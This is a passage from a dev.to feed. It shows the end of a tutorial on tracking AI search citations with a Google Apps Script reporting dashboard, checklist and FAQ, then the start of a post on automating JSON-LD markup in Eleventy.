  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;dataSheet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getSheetByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Raw Data&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertSheet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Raw Data&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getLastRow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Date&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Query&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Cited&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Position&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Total Sources&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nx"&gt;dataSheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getRange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setValues&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nx"&gt;dataSheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getRange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setFontWeight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bold&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Green highlight for cited rows&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;range&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;dataSheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getRange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;C2:C1000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;SpreadsheetApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;newConditionalFormatRule&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;whenTextEqualTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TRUE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setBackground&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#E6F4EA&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setFontColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#137333&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setRanges&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;range&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;dataSheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setConditionalFormatRules&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Dashboard ready. Import CSV via File → Import.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;weeklyReport&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sheet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;SpreadsheetApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getActiveSpreadsheet&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getSheetByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Raw Data&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;sheet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sheet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getDataRange&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;getValues&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cutoff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;cutoff&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setDate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cutoff&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getDate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;recent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;cutoff&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;No data found for the past 7 days.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cited&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TRUE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;cited&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;positions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cited&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])).&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;avgPos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;—&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;summary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;`📊 GEO Weekly Report - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLocaleDateString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;en-US&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;`Citation Rate: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;% (&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cited&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; queries)`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;`Avg. Source Position: #&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;avgPos&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Uncomment to receive the report by email:&lt;/span&gt;
  &lt;span class="c1"&gt;// MailApp.sendEmail(Session.getActiveUser().getEmail(), "GEO Weekly Report", summary);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createWeeklyTrigger&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ScriptApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;newTrigger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;weeklyReport&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeBased&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onWeekDay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ScriptApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WeekDay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MONDAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;atHour&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Trigger set: weeklyReport runs every Monday at 10:00 AM.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Implementation Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Identified 5-10 non-branded long-tail queries to track&lt;/li&gt;
&lt;li&gt;[ ] Run a manual baseline audit in Perplexity and ChatGPT Search (Incognito)&lt;/li&gt;
&lt;li&gt;[ ] Got a Perplexity API key at &lt;code&gt;perplexity.ai/settings/api&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Tested &lt;code&gt;geo_monitor.py&lt;/code&gt; locally and confirmed CSV output&lt;/li&gt;
&lt;li&gt;[ ] Scheduled the script via cron (or Task Scheduler on Windows)&lt;/li&gt;
&lt;li&gt;[ ] Added AI referrer filters in GA4&lt;/li&gt;
&lt;li&gt;[ ] Enabled the "AI Overview" filter in Google Search Console&lt;/li&gt;
&lt;li&gt;[ ] Deployed the Apps Script dashboard in Google Sheets with automated triggers&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;How many queries do I need for meaningful data?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For a niche technical blog with 10-20 posts, 1-2 relevant non-branded queries per post is enough. That gives you a tracking basket of 15-30 queries total - well within free tier limits while keeping the signal tight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What citation rate benchmarks should I aim for?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Based on mid-2026 data from technical search: below 20% suggests structural or content issues (revisit Parts 1 and 2 of this series). 20-40% is solid for an early-stage site. Above 40% indicates strong optimization. Consistent 60%+ means your domain has become an authoritative reference in your niche.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can I automate Gemini citation tracking programmatically?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No. Google does not expose a public API for parsing live Gemini citations. The closest alternative is monitoring the "AI Overview" filter in Google Search Console for impressions and clicks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should I include branded queries in my tracking set?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keep branded and non-branded queries completely separate. Branded terms will naturally skew your citation rate high since AI platforms easily surface direct brand matches. To understand your real reach, track non-branded informational queries where your content must win on its own merits.&lt;/p&gt;




&lt;h2&gt;
  
  
  The GEO Series Is Complete 🎉
&lt;/h2&gt;

&lt;p&gt;Here's what the four parts covered end-to-end:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 1 - Technical Architecture:&lt;/strong&gt; Opening AI crawlers in &lt;code&gt;robots.txt&lt;/code&gt;, deploying valid JSON-LD schema, switching to semantic HTML.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 2 - Content Engineering:&lt;/strong&gt; Improving information density, using HTML tables for higher citation rates, structuring every section with BLUF.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 3 - Eleventy Automation:&lt;/strong&gt; Nunjucks templates and shortcodes that generate all GEO markup automatically from frontmatter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 4 (this post) - Measurement:&lt;/strong&gt; Perplexity API monitoring, GA4 AI referrer analysis, Search Console AI Overview filters, Google Sheets reporting.&lt;/p&gt;

&lt;p&gt;When Perplexity or ChatGPT Search surface these exact workflows in response to a GEO-related query, that's the real proof the framework works.&lt;/p&gt;

&lt;p&gt;Drop your initial citation rate in the comments - curious what numbers the first script run returns for you. 💬&lt;/p&gt;

</description>
      <category>seo</category>
      <category>webdev</category>
      <category>analytics</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>GEO Automation in Eleventy: JSON-LD, BLUF &amp; Tables Without Manual Markup</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Wed, 10 Jun 2026 09:01:24 +0000</pubDate>
      <link>https://dev.to/digital-abetka/geo-automation-in-eleventy-json-ld-bluf-tables-without-manual-markup-3ej7</link>
      <guid>https://dev.to/digital-abetka/geo-automation-in-eleventy-json-ld-bluf-tables-without-manual-markup-3ej7</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;BLUF - Part 3 of the GEO/SEO 2026 series&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Problem:&lt;/strong&gt; manually writing JSON-LD, BLUF blocks, and HTML tables for every post is time-consuming and error-prone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solution:&lt;/strong&gt; Nunjucks includes and shortcodes in Eleventy - set up the template once and every new post gets full GEO infrastructure from frontmatter automatically.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What we automate:&lt;/strong&gt; Article Schema, FAQPage Schema, HowTo Schema, BLUF block, HTML tables with &lt;code&gt;data-label&lt;/code&gt;, and &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Setup time:&lt;/strong&gt; 1.5-2 hours once → 0 minutes per post afterward.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Part 1:&lt;/strong&gt; GEO Technical Architecture: robots.txt, JSON-LD, and Semantic HTML&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Part 2:&lt;/strong&gt; Content Engineering for LLMs: Information Density and BLUF Structure&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why Manual Micro-Markup Doesn't Scale
&lt;/h2&gt;

&lt;p&gt;In Part 1 we manually wrote JSON-LD for each Schema type. In Part 2 we added BLUF blocks and HTML tables to each post individually. With a 5-post blog that's acceptable. With 50 posts it becomes technical debt that guarantees drift: one post missing FAQPage Schema, another with a stale author URL, a third without a BLUF.&lt;/p&gt;

&lt;p&gt;The right solution: &lt;strong&gt;one change in the template = an update across all posts simultaneously&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1. Base Configuration: &lt;code&gt;_data/metadata.json&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;All Nunjucks templates will pull global site data from here. If the file already exists, verify it contains these fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
